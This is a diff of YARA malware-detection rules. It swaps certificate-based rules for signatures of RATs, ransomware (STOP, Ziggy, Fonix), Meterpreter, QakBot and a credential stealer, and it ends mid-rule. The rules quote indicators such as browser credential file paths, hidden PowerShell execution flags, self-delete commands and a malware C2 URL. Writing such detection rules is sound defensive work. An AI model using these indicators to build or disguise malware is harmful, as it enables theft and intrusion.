-rule DITEKSHEN_INDICATOR_KB_CERT_0092D9B92F8Cf7A1Ba8B2C025Be730C300 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent04 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known downloader agent downloading encoded binaries in patches from paste-like websites, most notably hastebin"
 		author = "ditekSHen"
-		id = "856b4522-f314-5cbb-872e-08b21107881b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d591c591-aecc-557e-85b4-1e2589fbfbf9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1884-L1895"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3247-L3263"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "207fcc48053afb6a435c40fd8e25a88753139c35f4882a1975fdb8c55dc8ea89"
+		logic_hash = "73e6af7c32d38ec5d1d2bc9f2517860367b46779b53e0faff8885b655561ab01"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b891c96bd8548c60fa86b753f0c4a4ccc7ab51256b4ee984b5187c62470f9396"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.DLAgent04"
+
+	strings:
+		$x1 = "@@@http" ascii wide
+		$s1 = "HttpWebRequest" fullword ascii
+		$s2 = "GetResponseStream" fullword ascii
+		$s3 = "set_FileName" fullword ascii
+		$s4 = "set_UseShellExecute" fullword ascii
+		$s5 = "WebClient" fullword ascii
+		$s6 = "set_CreateNoWindow" fullword ascii
+		$s7 = "DownloadString" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "UPLagga Systems s.r.o." and pe.signatures[i].serial=="00:92:d9:b9:2f:8c:f7:a1:ba:8b:2c:02:5b:e7:30:c3:00")
+		uint16(0)==0x5a4d and filesize <300KB and #x1>1 and 4 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E5Ad42C509A7C24605530D35832C091E : FILE
+rule DITEKSHEN_MALWARE_Win_Gdriverat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects GDriveRAT"
 		author = "ditekSHen"
-		id = "44615e9d-6677-5642-b56d-82c0577f758c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "29e46280-39d1-5d49-ab0d-0a32398b30f0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1897-L1908"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3265-L3284"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8d76474257ee9a24d4785ddd119e586712a157ff7b420a7db2b8efe06c43f76c"
+		logic_hash = "134e66d0afc90e7fbab2c9dd034f85eb504903481e12c1ab8d7bab9321da817a"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "17b1f6ffc569acd2cf803c4ac24a7f9828d8d14f6b057e65efdb5c93cc729351"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.GDriveRAT"
+
+	strings:
+		$h1 = "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart" fullword wide
+		$h2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" fullword wide
+		$h3 = "multipart/related; boundary=\"boundary_tag\"" fullword wide
+		$h4 = "https://www.googleapis.com/drive/v3/files" fullword wide
+		$s1 = "move gdrive.exe \"C:\\Users\\" fullword wide
+		$s2 = "file_data" fullword ascii
+		$s3 = "comp_id" fullword ascii
+		$s4 = "file_name" fullword ascii
+		$s5 = "refresh_token" fullword ascii
+		$s6 = "commands" fullword ascii
+		$s7 = "execute" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VESNA, OOO" and pe.signatures[i].serial=="00:e5:ad:42:c5:09:a7:c2:46:05:53:0d:35:83:2c:09:1e")
+		uint16(0)==0x5a4d and 3 of ($h*) and 5 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3E57584Db26A2C2Ebc24Ae3E1954Fff6 : FILE
+rule DITEKSHEN_MALWARE_Win_STOP : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects STOP ransomware"
 		author = "ditekSHen"
-		id = "9073846e-97c7-5b2e-a81f-3bbd06699842"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e928d917-a9d9-5830-938a-59b62608e84c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1910-L1921"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3286-L3309"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cfc68c32ceba351610651d34fb420c64bab9a3b1564d9b6392f0ee8cdcdac7de"
+		logic_hash = "61f7e7c1139c56088b2f58b78ae132ffcfef0f931c15b67ea775b0d5e51d189d"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "4ecbada12a11a5ad5fe6a72a8baaf9d67dc07556a42f6e9a9b6765e334099f4e"
-		importance = 20
+		snort2_sid = "920113"
+		snort3_sid = "920111"
+		clamav_sig = "MALWARE.Win.Ransomware.STOP"
+
+	strings:
+		$x1 = "C:\\SystemID\\PersonalID.txt" fullword wide
+		$x2 = "/deny *S-1-1-0:(OI)(CI)(DE,DC)" wide
+		$x3 = "e:\\doc\\my work (c++)\\_git\\encryption\\" ascii wide nocase
+		$s1 = "\" --AutoStart" fullword ascii wide
+		$s2 = "--ForNetRes" fullword wide
+		$s3 = "--Admin" fullword wide
+		$s4 = "%username%" fullword wide
+		$s5 = "?pid=" fullword wide
+		$s6 = /&first=(true|false)/ fullword wide
+		$s7 = "delself.bat" ascii
+		$mutex1 = "{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}" fullword ascii
+		$mutex2 = "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}" fullword ascii
+		$mutex3 = "{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Zaryad LLC" and pe.signatures[i].serial=="3e:57:58:4d:b2:6a:2c:2e:bc:24:ae:3e:19:54:ff:f6")
+		uint16(0)==0x5a4d and ((2 of ($x*) and 1 of ($mutex*)) or ( all of ($x*)) or (6 of ($s*) and (1 of ($x*) or 1 of ($mutex*))) or (9 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_13794371C052Ec0559E9B492Abb25C26 : FILE
+rule DITEKSHEN_MALWARE_Win_Parallaxrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ParallaxRAT"
 		author = "ditekSHen"
-		id = "e2a4fdb2-fa04-5662-bb84-5c0c4892e3af"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e602b28f-ae5d-52af-b1c5-5c41776dd4c5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1923-L1934"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3311-L3328"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "af80177181efd92b4e1a4a5c665df01add069dc3b47074bcbdd503516cf5a844"
+		logic_hash = "7fd94dee44079b595b906f1687f44b51b8cebabbeb0900563b8d4fcc0e46bdd0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "dd3ab539932e81db45cf262d44868e1f0f88a7b0baf682fb89d1a3fcfba3980b"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.ParallaxRAT"
+
+	strings:
+		$s1 = "[Clipboard End]" fullword wide
+		$s2 = "[Ctrl +" fullword wide
+		$s3 = "[Alt +" fullword wide
+		$s4 = "Clipboard Start" wide
+		$s5 = "(Wscript.ScriptFullName)" wide
+		$s6 = "CSDVersion" fullword ascii
+		$s7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" fullword ascii
+		$x1 = { 2e 65 78 65 00 00 84 00 00 4d 5a 90 00 }
+		$x2 = "This program cannot be run in DOS mode" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Carmel group LLC" and pe.signatures[i].serial=="13:79:43:71:c0:52:ec:05:59:e9:b4:92:ab:b2:5c:26")
+		(( uint16(0)==0x5a4d and all of ($s*)) or all of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_51Aead5A9Ab2D841B449Fa82De3A8A00 : FILE
+rule DITEKSHEN_MALWARE_Win_Meterpreter : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Meterpreter payload"
 		author = "ditekSHen"
-		id = "d64ff10d-e4dd-5d89-a600-d136571be940"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d72fef80-d624-5e39-963a-8d7c12eb2d9c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1936-L1947"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3330-L3343"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1658a12bb040b5b16c61469fe52abbaaecf5bd66bf5e45a2c2da9f80fa0c66f5"
+		logic_hash = "5226cd7bb2344b822ee94d75f81a523ff701778de97a32ae52c604a4855e960c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "155edd03d034d6958af61bc6a7181ef8f840feae68a236be3ff73ce7553651b0"
-		importance = 20
+
+	strings:
+		$s1 = "PACKET TRANSMIT" fullword ascii
+		$s2 = "PACKET RECEIVE" fullword ascii
+		$s3 = "\\\\%s\\pipe\\%s" fullword ascii wide
+		$s4 = "%04x-%04x:%s" fullword wide
+		$s5 = "server.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Corsair Software Solution Inc." and pe.signatures[i].serial=="51:ae:ad:5a:9a:b2:d8:41:b4:49:fa:82:de:3a:8a:00")
+		( uint16(0)==0x5a4d and all of them ) or ( filesize <300KB and all of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Bce1D49Ff444D032Ba3Dda6394A311E9 : FILE
+rule DITEKSHEN_MALWARE_Win_Trojan_Expresscms : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ExpressCMS"
 		author = "ditekSHen"
-		id = "ee980353-b7c3-5738-84ae-e51c021e6597"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d096db0c-05f6-5b69-9d84-0105f2182ff3"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1949-L1960"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3366-L3382"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "eeb1556808e790eea964658a8499ec2d9cc5638bf696fbbade2bc08a29fb3e65"
+		logic_hash = "64d551e0c11b6394f9ae2b8fa749c36cb1b5c3f498592f95dc19fdea23c53160"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e9a9ef5dfca4d2e720e86443c6d491175f0e329ab109141e6e2ee4f0e33f2e38"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.ExpressCMS"
+
+	strings:
+		$s1 = "/click.php?cnv_id=" fullword wide
+		$s2 = "/click.php?key=" wide
+		$s3 = "jdlnb" fullword wide
+		$s4 = "Gkjfdshfkjjd: dsdjdsjdhv" fullword wide
+		$s5 = "--elevated" fullword wide
+		$s6 = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\%d" wide
+		$s7 = "\\Microsoft\\Manager.exe" fullword wide
+		$s8 = "\\Microsoft\\svchost.exe" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DECIPHER MEDIA LLC" and pe.signatures[i].serial=="bc:e1:d4:9f:f4:44:d0:32:ba:3d:da:63:94:a3:11:e9")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Dadf44E4046372313Ee97B8E394C4079 : FILE
+rule DITEKSHEN_MALWARE_Win_Meterpreterstager : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Meterpreter stager payload"
 		author = "ditekSHen"
-		id = "bb7178f4-079f-5f7e-9761-3f73203603c7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dfbc37e9-13e0-55e2-a501-1005eea52b63"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1962-L1973"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3384-L3395"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e4480ad6ce302a87e38915ef7ba09a94a4626ed359333276b899474f21d46238"
+		logic_hash = "0ac53a10abb1e4dd7da57872cd1779851d953127a912c31a5e411d8eb9bd07f4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "80986ae0d4f8c8fabf6c4a91550c90224e26205a4ca61c00ff6736dd94817e65"
-		importance = 20
+
+	strings:
+		$s1 = "PAYLOAD:" fullword ascii
+		$s2 = "AQAPRQVH1" fullword ascii
+		$s3 = "ws2_32" fullword ascii
+		$s4 = "KERNEL32.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Digital Capital Management Ireland Limited" and pe.signatures[i].serial=="00:da:df:44:e4:04:63:72:31:3e:e9:7b:8e:39:4c:40:79")
+		uint16(0)==0x5a4d and all of them and filesize <100KB
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00F8C2E08438Bb0E9Adc955E4B493E5821 : FILE
+rule DITEKSHEN_MALWARE_Win_Ziggy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Ziggy ransomware"
 		author = "ditekSHen"
-		id = "75f505d0-c79a-5eab-a61f-29ec238ac045"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6d2d316a-cf19-5001-bf94-842346229d76"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1975-L1986"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3397-L3421"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2258ea96b56acb3025b5b2f39c07d482c375e75323d6f8e8ded91b8dab00656e"
+		logic_hash = "103a50511971161ca673e0c8378aeca2fa7d0f6309966bbb2b70e0d039e0f196"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "459ef82eb5756e85922a4687d66bd6a0195834f955ede35ae6c3039d97b00b5f"
-		importance = 20
+		snort2_sid = "920098"
+		snort3_sid = "920096"
+		clamav_sig = "MALWARE.Win.Ransomware.Ziggy"
+
+	strings:
+		$id1 = "/Ziggy Info;component/mainwindow.xaml" fullword wide
+		$id2 = "AZiggy Info, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" fullword ascii
+		$id3 = "Ziggy Ransomware" fullword wide
+		$id4 = "clr-namespace:Zeggy" fullword ascii
+		$s1 = "GetCooldown" fullword ascii
+		$s2 = "checkCommandMappings" fullword ascii
+		$s3 = "add_OnExecuteCommand" fullword ascii
+		$s4 = "MindLated.jpg" fullword wide
+		$s5 = "http://fixfiles.xyz/ziggy/api/info.php?id=" fullword wide
+		$s6 = "Reamaining time:" fullword wide
+		$msg1 = "<:In case of no answer in 12 hours write us to this e-mail" ascii
+		$msg2 = "Free decryption as guarantee" fullword ascii
+		$msg3 = "# Do not try to decrypt your data using third party software, it may cause permanent data loss" ascii
+		$msg4 = "# Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can becom" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DocsGen Software Solutions Inc." and pe.signatures[i].serial=="00:f8:c2:e0:84:38:bb:0e:9a:dc:95:5e:4b:49:3e:58:21")
+		uint16(0)==0x5a4d and (3 of ($id*) or 4 of ($s*) or 3 of ($msg*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D2Caf7908Aaebfa1A8F3E2136Fece024 : FILE
+rule DITEKSHEN_MALWARE_Win_Nworm : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects NWorm/N-W0rm payload"
 		author = "ditekSHen"
-		id = "043a598d-8b84-597f-ac2e-035cc9ccef77"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "06546ccf-8914-5b1c-942f-99664b9ecf44"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1988-L1999"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3423-L3443"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2c8a322e687ed575e66ff308bcf0950ab87bc5ac3ab561c8cc3d81e9181ac708"
+		logic_hash = "a1397a057422be260b5bdf1eb58571e95c259c132cc2518b39e1524a0eda9c66"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "82baf9b781d458a29469e5370bc9752ebef10f3f8ea506ca6dd04ea5d5f70334"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.NWorm"
+
+	strings:
+		$id1 = "N-W0rm" ascii
+		$id2 = "N_W0rm" ascii
+		$x1 = "pongPing" fullword wide
+		$x2 = "|NW|" fullword wide
+		$s1 = "runFile" fullword wide
+		$s2 = "runUrl" fullword wide
+		$s3 = "killer" fullword wide
+		$s4 = "powershell" fullword wide
+		$s5 = "wscript.exe" fullword wide
+		$s6 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" fullword wide
+		$s7 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide
+		$s8 = "Start-Sleep -Seconds 1.5; Remove-Item -Path '" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FANATOR, OOO" and pe.signatures[i].serial=="00:d2:ca:f7:90:8a:ae:bf:a1:a8:f3:e2:13:6f:ec:e0:24")
+		uint16(0)==0x5a4d and ((1 of ($id*) and (1 of ($x*) or 3 of ($s*))) or ( all of ($x*) and 2 of ($s*)) or 7 of ($s*) or 10 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_003223B4616C2687C04865Bee8321726A8 : FILE
+rule DITEKSHEN_MALWARE_Win_Qakbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects variants of QakBot payload"
 		author = "ditekSHen"
-		id = "05320823-08e5-58f4-896c-ae7f01b40a3b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3a3b3b6c-0969-584e-a184-7acfca3cdd42"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2001-L2012"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3445-L3457"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "671e3a589fb24a6c5e38126df45a4767815eff32014172930cab6ffbe135af81"
+		logic_hash = "b64c05eb7ac03b2b4709f9979d117e4cacc617f21d0b3bf1c1be42aa18cc44cc"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "321218e292c2c489bbc7171526e1b4e02ef68ce23105eee87832f875b871ed9f"
-		importance = 20
+
+	strings:
+		$s1 = "stager_1.dll" fullword ascii
+		$s2 = "_vsnwprintf" fullword ascii
+		$s3 = "DllRegisterServer" fullword ascii
+		$s4 = "Win32_PnPEntity" fullword wide
+		$s5 = "0>user32.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FORTUNE STAR TRADING, INC." and pe.signatures[i].serial=="32:23:b4:61:6c:26:87:c0:48:65:be:e8:32:17:26:a8")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Fa13Ae98E17Ae23Fcfe7Ae873D0C120 : FILE
+rule DITEKSHEN_MALWARE_Win_Fonix : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Fonix ransomware"
 		author = "ditekSHen"
-		id = "5e926cb1-efd0-5f9d-9327-341bb2f1a5f5"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d67cce49-5f4f-59f6-b2a9-9c4dd1c6c0f6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2014-L2025"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3459-L3481"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "312d810386aebb509ffbd09d6b1ad6a761a03bc07ba5e4a158235786063389a9"
+		logic_hash = "159b8946f7772c76271de821eb12897689bf73d96fc6a1d7c4a65cdc50b877c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "be226576c113cd14bcdb67e46aab235d9257cd77b826b0d22a9aa0985bad5f35"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.Fonix"
+
+	strings:
+		$s1 = "dontcryptanyway" fullword wide
+		$s2 = "Cpriv.key" ascii wide
+		$s3 = "Cpub.key" ascii wide
+		$s4 = "NetShareEnum() failed!Error: % ld" fullword wide
+		$s5 = "<div class='title'> Attention!</div><ul><li><u><b>DO NOT</b> pay" wide
+		$s6 = "Encryption Completed !!!" fullword wide
+		$s7 = "kill process" fullword ascii
+		$s8 = "Copy SystemID C:\\ProgramData\\SystemID" ascii
+		$id1 = "].FONIX" fullword wide
+		$id2 = "xinofconfig.txt" fullword ascii wide
+		$id3 = "XINOF4MUTEX" wide
+		$id4 = ":\\Fonix\\cryptoPP\\" ascii
+		$id5 = "schtasks /CREATE /SC ONLOGON /TN fonix" ascii
+		$id6 = "Ransomware\\Fonix" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KLAKSON, LLC" and pe.signatures[i].serial=="0f:a1:3a:e9:8e:17:ae:23:fc:fe:7a:e8:73:d0:c1:20")
+		uint16(0)==0x5a4d and (6 of ($s*) or 3 of ($id*) or (1 of ($id*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3696883055975D571199C6B5D48F3Cd5 : FILE
+rule DITEKSHEN_MALWARE_Win_Bobik : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Bobik infostealer"
 		author = "ditekSHen"
-		id = "8af62be2-488f-5474-b674-73bf157dff00"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "12f14151-0c89-519d-85d3-4b4b82a950a3"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2027-L2038"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3483-L3498"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9232413a071a6100ba806b1fad2cd6cd2bb85351c36ad25cfc31b66ad041d686"
+		logic_hash = "735dcb9e04956863305ca89a43686b8e48e3b20784ae9292cfc40d1c2c09d467"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "933749369d61bebd5f2c63ff98625973c41098462d9732cffaffe7e02823bc3a"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Bobik"
+
+	strings:
+		$s1 = "@Default\\Login Data" fullword ascii
+		$s2 = "@Default\\Cookies" fullword ascii
+		$s3 = "@logins.json" fullword ascii
+		$s4 = "@[EXECUTE]" fullword ascii
+		$s5 = "@C:\\Windows\\System32\\cmd.exe" fullword ascii
+		$s6 = /(CHROME|OPERA|FIREFOX)_BASED/ fullword ascii
+		$s7 = "threads.nim" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Korist Networks Incorporated" and pe.signatures[i].serial=="36:96:88:30:55:97:5d:57:11:99:c6:b5:d4:8f:3c:d5")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Aff762E907F0644E76Ed8A7485Fb12A1 : FILE
+rule DITEKSHEN_MALWARE_Win_Runningrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects RunningRAT"
 		author = "ditekSHen"
-		id = "92113fc4-ef5b-5e86-bc8e-baf342ddf276"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "161faa8c-614e-5102-bb6d-c1ed4abf8274"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2040-L2051"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3500-L3536"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0be4642f6aaf2183d593240efcc8c2046970d3806a67ff53ca4ce7ee85df90e5"
+		logic_hash = "e3cddec792ad95d823190f12970b8e0515b73be4a91f89cbb2bbde2fa1cfde63"
 		score = 75
-		quality = 75
+		quality = 23
 		tags = "FILE"
-		thumbprint = "7b0c55ae9f8f5d82edbc3741ea633ae272bbb2207da8e88694e06d966d86bc63"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.RunningRAT"
+
+	strings:
+		$s1 = "%s%d.dll" fullword ascii
+		$s2 = "/c ping 127.0.0.1 -n" ascii
+		$s3 = "del /f/q \"%s\"" ascii
